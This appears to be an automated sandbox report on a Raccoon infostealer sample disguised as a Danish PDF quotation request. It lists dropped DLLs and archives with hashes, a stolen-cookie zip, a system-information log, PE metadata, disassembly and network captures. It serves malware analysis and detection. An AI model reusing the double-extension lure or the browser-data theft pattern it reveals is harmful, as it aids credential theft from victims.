Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pi.Pi.Pi.(..Pi.F2h.Pi.F2j.Pi.F2l.Pi.F2m.Pi.0h.Pi.T3h.Pi.Ph.Pi.T3m.Pi.T3i.Pi.T3..Pi.T3k.Pi.Rich.Pi.........PE..L....@.\.........."!.........`......q........................................@...........@.............................P.......d.......x.......................t)..p...T..............................@............................................text.............................. ..`.rdata..>...........................@..@.data....N.......L..................@....rsrc...x...........................@..@.reloc..t).......*..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\nssdbm3.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639527605275762
Encrypted:	false
SSDEEP:	1536:YvNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41Pc:+NGVOiBZbcGmxXMcBqmzoCUZoZebHPAT
MD5:	94919DEA9C745FBB01653F3FDAE59C23
SHA1:	99181610D8C9255947D7B2134CDB4825BD5A25FF
SHA-256:	BE3987A6CD970FF570A916774EB3D4E1EDCE675E70EDAC1BAF5E2104685610B0
SHA-512:	1A3BB3ECADD76678A65B7CB4EBE3460D0502B4CA96B1399F9E56854141C8463A0CFCFFEDF1DEFFB7470DDFBAC3B608DC10514ECA196D19B70803FBB02188E15E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L....@.\.........."!.........0...............0......................................*q....@......................... ?......(@.......`..x............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..D....0... ..................@..@.data........P.......>..............@....rsrc...x....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\pY4zE3fX7h.zip Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	2828315
Entropy (8bit):	7.998625956067725
Encrypted:	true
SSDEEP:	49152:tiGLaX5/cgbRETlc0EqgSVAx07XZiEi4qiefeEJGt5ygL0+6/qax:t9OX9alwJSVP1fnefekGt5CP
MD5:	1117CD347D09C43C1F2079439056ADA3
SHA1:	93C2CE5FC4924314318554E131CFBCD119F01AB6
SHA-256:	4CFADA7EB51A6C0CB26283F9C86784B2B2587C59C46A5D3DC0F06CAD2C55EE97
SHA-512:	FC3F85B50176C0F96898B7D744370E2FF0AA2024203B936EB1465304C1C7A56E1AC078F3FDF751F4384536602F997E745BFFF97F1D8FF2288526883185C08FAF
Malicious:	false
Preview:	PK.........znN<..{r....i......nssdbm3.dll...\|...8...N..Y..6.$J.....$1...D .a.....jL.V..C...N.;....}./............$...Z,T.R.qc...Ec.=................;..{..s....p.`..A.?M.....W!.....a..?N...~e.A..W.o.....[.}...,...;.+\....Jw.\|...k.......<yR.^.E.o.nxs.c...=V....,..F....cu.....w.O..[..u.{..<.w....7P...{..K~..E..w...c...z^..[Z....6.G.V.2..+.n4......1M.......w{f..nJL..{. d......M..+.. ......./.)..$X!......L..K.`.M...w.I..LA8r.IX...r...87..}........<.].r.....TWm......b6/._....a..W.lB...3.n.._...j....o.Mz.._Q........8....K............gr..L..H...v....6[...4I...{.1g..<..>M..$G.&Y........-.....O..9\...,t..W.m.X ..Y.3....S<#}.".>.0RBg,...lh.s..o.....r.p8...)..3..K.v....ds.n3.+]....+....krMu._.Y\..../8T......&.BC.".u..;..e.k u$......~`.{.!.M...\W.Y.37+nQ.Z.*...3\G..5d....Z.hVL..Z.\|k.5...XF.Y..lVVW..C..\|.....b..\.Z...m. ..0...P.F8{].U.p..RW,n...MM.....s..._@..>Q.. ...N.>.T?WM....)9B.............mVW.......b.6{..\|!......O....M....>.>.$\.%..L.zF.l...3

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\prldap60.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24016
Entropy (8bit):	6.532540890393685
Encrypted:	false
SSDEEP:	384:TQJMOeAdiNcNUO3qgpw6MnTmJk0llEEHAnDl3vDG8A3OPLondJJs2z:KMaNqb6MTmVllEK2p/DG8MlsQ
MD5:	6099C438F37E949C4C541E61E88098B7
SHA1:	0AD03A6F626385554A885BD742DFE5B59BC944F5
SHA-256:	46B005817868F91CF60BAA052EE96436FC6194CE9A61E93260DF5037CDFA37A5
SHA-512:	97916C72BF75C11754523E2BC14318A1EA310189807AC8059C5F3DC1049321E5A3F82CDDD62944EA6688F046EE02FF10B7DDF8876556D1690729E5029EA414A9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:`wq[.$q[.$q[.$x#.$s[.$.9.%s[.$.9.%p[.$.9.%{[.$.9.%z[.$S;.%s[.$.8.%t[.$q[.$=[.$.8.%t[.$.8.%p[.$.8.$p[.$.8.%p[.$Richq[.$........PE..L....@.\.........."!..... ... .......%.......0...............................p......./....@..........................5......p7..x....P..x............@.......`..$...`1..T............................1..@............0..,............................text...2........ .................. ..`.rdata.......0.......$..............@..@.data...4....@.......4..............@....rsrc...x....P.......8..............@..@.reloc..$....`.......<..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\qipcap.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16336
Entropy (8bit):	6.437762295038996
Encrypted:	false
SSDEEP:	192:aPgr1ZCb2vGJ7b20qKvFej7x0KDWpH3vUA397Ae+PjPonZwC7Qm:aYpZPGJP209F4vDG8A3OPLonZwC7X
MD5:	F3A355D0B1AB3CC8EFFCC90C8A7B7538
SHA1:	1191F64692A89A04D060279C25E4779C05D8C375
SHA-256:	7A589024CF0EEB59F020F91BE4FE7EE0C90694C92918A467D5277574AC25A5A2
SHA-512:	6A9DB921156828BCE7063E5CDC5EC5886A13BD550BA8ED88C99FA6E7869ECFBA0D0B7953A4932EB8381243CD95E87C98B91C90D4EB2B0ACD7EE87BE114A91A9E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s6.7W..7W..7W..>/..5W...5..5W...5..6W...5..>W...5..<W...7..4W..7W..*W...4..6W...4`.6W...4..6W..Rich7W..................PE..L....B.\.........."!......................... ...............................`.......r....@..................................$..P....@..x............".......P.. .... ..T............................ ..@............ ..h............................text...P........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...x....@......................@..@.reloc.. ....P....... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\softokn3.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.54005414297208
Encrypted:	false
SSDEEP:	3072:8Af6suip+I7FEk/oJz69sFaXeu9CoT2nIVFetBW3D2xkEMk:B6POsF4CoT2OeYMzMk
MD5:	4E8DF049F3459FA94AB6AD387F3561AC
SHA1:	06ED392BC29AD9D5FC05EE254C2625FD65925114
SHA-256:	25A4DAE37120426AB060EBB39B7030B3E7C1093CC34B0877F223B6843B651871
SHA-512:	3DD4A86F83465989B2B30C240A7307EDD1B92D5C1D5C57D47EFF287DC9DAA7BACE157017908D82E00BE90F08FF5BADB68019FFC9D881440229DCEA5038F61CD6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....@.\.........."!.........b...............................................P.......\|....@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ucrtbase.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\vcruntime140.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\machineinfo.txt Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	1105
Entropy (8bit):	5.28003162862424
Encrypted:	false
SSDEEP:	24:DlAS7fH/l3ezy53Net5IZdBqhKQa7/CGik/R8RAuLTvqzh:BAS7f93d3NetCBgeCGik/R0As0h
MD5:	B1169B9F4FA76ED942818F829D6D354D
SHA1:	1FEA6B4FCDB5BC6679A0C62FD26502EE54089253
SHA-256:	EB67C403ECC4B46C3C5E9F3EB099461F27FC9C1B0D87BCE7591D505AF455DD45
SHA-512:	7F0727C408372A899E0245238D958ACF42B98F53160770569C0B2C434A6309A63F2EDCA34CAB5ECF4A704AB5EAA6D1D0463353C2EF4B9B8D0F502671503F5731
Malicious:	false
Preview:	Raccoon \| 1.7.3...Build compile date: Sat Feb 27 21:25:06 2021...Launched at: 2021.04.12 - 11:46:46 GMT...Bot_ID: D06ED635-68F6-4E9A-955C-4899F5F57B9A_user...Running on a desktop......-------------...... - Cookies: 1... - Passwords: 0... - Files: 0......System Information:... - System Language: English... - System TimeZone: +1 hrs... - IP: 84.17.52.3... - Location: 47.431702, 8.575900 \| Zurich, Zurich, Switzerland (8152)... - ComputerName: 128757... - Username: user... - Windows version: NT 10.0... - Product name: Windows 10 Pro... - System arch: x64... - CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)... - RAM: 8191 MB (5413 MB used)... - Screen resolution: 1280x1024... - Display devices:....0) Microsoft Basic Display Adapter......-------------......Installed Apps: ....Adobe Acrobat Reader DC (19.012.20035)....Adobe Refresh Manager (1.8.0)....Google Chrome (85.0.4183.121)....Google Update Helper (1.3.35.451)....Java 8 Update 211 (8.0.2110.12)....Java Auto Updat

C:\Users\user\AppData\LocalLow\oftDgkJOkNj.zip Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	1189
Entropy (8bit):	7.483857114359707
Encrypted:	false
SSDEEP:	24:9cjnbAJa0JDVW7FD0bIOHqCq6HJDE3CW2QD+aAsl:9cjnMPJZCNVqqfXL3DHl
MD5:	DE4C84F52402A0B42BE2A86D66314955
SHA1:	594B0EBD2EF659442D2203A762D5A07BF0C20E23
SHA-256:	F13633256ED4691EB86B4B9CED65A92E6480BC58AE81540EB68CE708815EDB31
SHA-512:	F64881AE605602FE52DC86DDADD9A6DAF6AD056D606DBFAFC80F52E8DA398501CD22836585C8F9B6217A1F0CA4F0F798BBF9085686B1C307C8CFA1ED22C28238
Malicious:	false
Preview:	PK.........m.RH.._...........browsers/cookies/Google Chrome_Default.txtUT...@Ot`@Ot`@Ot`%..r.0...5..hCR.a.E.."J}.N....WBu..~}.=..T...<j';~..........4...^.2..y...V...~..h....\|.2 }...9L@J..D=.F...^'......u.............i.%o.J1B...Fr..._.!.%..`....e:....Q;.~....x{.....O.PK.........m.Rs2......Q.......System Info.txtUT...FOt`FOt`FOt`uS.n.0.}.......$...i....A.b@_..V...eHvo..N.^....\|xH...Jf.1%..FB.\|.7..!3.J..rY.........g.....S.~).2..d..0B}.8........b..5...4.).f.... ..#....X....x.."...._S.N..,u...PB..Cm..>.....c..r...XJ.....4..O<..W.=\....e.M.t..r).m#.(.....>.7z.n0..~0.Y.Y/..D.DH.?...&;..~H\|....BDD(bJ..7..........We.Y.0....2.US+{%..0.Q(..t.-.p/b...en..<...\m.Q.K..&o....=....\i.]...g..NP.Z.....j.Y.y.C.`U?......+.\|.+.\_.].H,f...@..k/.Sy.XgV......Q9,.>3.....U.\|..x.....ot...Y..}.c.t.FKsY.p_..E.jY.8.iU.....)H1....J.\Y.N`.bB.'.RO..+u...`!K...<..z .......+. ..,.pe.G.u.n....:...'./.._.QB.8c....b.wJ..ca..Y .gt.8..~x...q.4N..Uf..~.}?.y.....a..._...

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.7006690334145785
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoe9H6pf1H1oNQ:T5LLOpEO5J/Kn7U1uBobfvoNQ
MD5:	A7FE10DA330AD03BF22DC9AC76BBB3E4
SHA1:	1805CB7A2208BAEFF71DCB3FE32DB0CC935CF803
SHA-256:	8D6B84A96429B5C672838BF431A47EC59655E561EBFBB4E63B46351D10A7AAD8
SHA-512:	1DBE27AED6E1E98E9F82AC1F5B774ACB6F3A773BEB17B66C2FB7B89D12AC87A6D5B716EF844678A5417F30EE8855224A8686A135876AB4C0561B3C6059E635C7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\Desktop\Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916735
Entropy (8bit):	6.514932604208782
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

\Device\Null Download File
Process:	C:\Windows\SysWOW64\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.300553674183507
Encrypted:	false
SSDEEP:	3:hYFEHgARcWmFsFJQZtctFst3g4t32vov:hYFE1mFSQZi3MXt3X
MD5:	F74899957624A2837F2F86E8E62E92D4
SHA1:	1FCDAC5DEC5B0B1E00CF0247DA2A5F18566F1431
SHA-256:	507992A303C447D1D40D36E2E5163A237077B94F23A7089AC90A2F08682AE9BC
SHA-512:	E3FD14728633614B6552A75C15079AC8B04C0E8B3F49535B522C73312B1C812E30A934099AB18B507A0B4878068987D5545E90FA3747F7E7B10360EE324DB435
Malicious:	false
Preview:	..Waiting for 10 seconds, press CTRL+C to quit ..... 9.. 8.. 7.. 6.. 5.. 4.. 3.. 2.. 1.. 0..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.9851814401155865
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Anmodning om tilbud 12-04-2021#U00b7pdf.exe
File size:	86016
MD5:	ff684bf547b6f692c53f80779dc5ee7b
SHA1:	fe4116a2cfa9cadde500c900f605742d5ddabf10
SHA256:	5cc3fcd6bc68db6107493ae5a1d9adfaa4cc210195c2c5f05d3059cd35ba2e09
SHA512:	20a375965f8ea1650b18f2fbf093eb8a2cdfe33361600e97f385a439e02788ee178a0a400cff7da2bfabf59e792c7b9275257c584f2e6b4d72a92dd5af8dc160
SSDEEP:	768:glTzXt3zSxhjTphA8Es0svVd1ZZv/Nyr61dVWHCuMvdvckklVGDIvoK:0t3zSxbHv3nZnn1dVWiukdvr3Df
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1...1...1.......0...~...0.......0...Rich1...........PE..L....d.S................. ... ......(........0....@................

File Icon


Icon Hash:	78e88eb2b2968e00

Static PE Info

General
Entrypoint:	0x401428
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x538D64E1 [Tue Jun 3 06:02:09 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	03caa17dce14fbc05445954edc0329b9

Entrypoint Preview

Instruction
push 0040CDA0h
call 00007F0BEC759393h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+20h], dh
jmp 00007F0BEC75941Eh
xchg eax, ebp
mov bl, 8Eh
inc edx
mov ecx, ebx
push FFFFFFC4h
bound esp, dword ptr [esp]
jo 00007F0BEC75940Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
inc edx
imul ebp, dword ptr [bp+20h], 736C6568h
jnc 00007F0BEC759416h
jc 00007F0BEC759407h
add byte ptr [ecx+6Dh], cl
popad
xor dword ptr [bx+si], esp
add byte ptr [eax], al
add byte ptr [eax], al
dec esp
xor dword ptr [eax], eax
sub dword ptr [edi-3034D7ABh], edx
mov ebx, E8A44049h
sar dword ptr [eax+7BD69744h], 1
out 25h, eax
xchg eax, ebx
xor esi, eax
push eax
jnbe 00007F0BEC7593ECh
mov ebp, CA0B8BBFh
call 00007F0C3BAFFAC2h
lodsd
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc esp
mov eax, 0A4A0000h
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [ebp+6Bh], ah
jne 00007F0BEC759412h
jc 00007F0BEC759403h
add byte ptr [4D000901h], cl
popad
jc 00007F0BEC75940Dh
jnc 00007F0BEC75940Fh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12994	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14000	0xd6a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x128	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11eb4	0x12000	False	0.365003797743	data	6.55269497332	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x13000	0xa84	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x14000	0xd6a	0x1000	False	0.215087890625	data	2.80571139189	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x14802	0x568	GLS_BINARY_LSB_FIRST
RT_ICON	0x1439a	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x14378	0x22	data
RT_VERSION	0x14120	0x258	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaStrCat, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaVarForInit, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, __vbaAryConstruct2, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaLateMemCall, __vbaStrToAnsi, __vbaVarDup, __vbaStrComp, __vbaFpI4, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, _CItan, __vbaVarForNext, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	Eleciv
FileVersion	3.00
CompanyName	Salty
Comments	Salty
ProductName	Salty
ProductVersion	3.00
FileDescription	Salty
OriginalFilename	Eleciv.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2021 13:46:35.355374098 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.403286934 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.403453112 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.404239893 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.449498892 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.463149071 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.463193893 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.463221073 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.463246107 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.463296890 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.463330030 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.483303070 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.528862953 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.529005051 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.530431032 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.580280066 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.809793949 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.809844017 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.809866905 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.809883118 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.809910059 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.809917927 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.809964895 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.809972048 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.810106039 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.812912941 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.812942982 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.813009977 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.813034058 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.816040039 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.816082001 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.816214085 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.819293976 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.819375992 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.819427013 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.819469929 CEST	49760	443	192.168.2.4	216.58.215.225
Apr 12, 2021 13:46:35.822422028 CEST	443	49760	216.58.215.225	192.168.2.4
Apr 12, 2021 13:46:35.822484970 CEST	443	49760	216.58.215.225	192.168.2.4
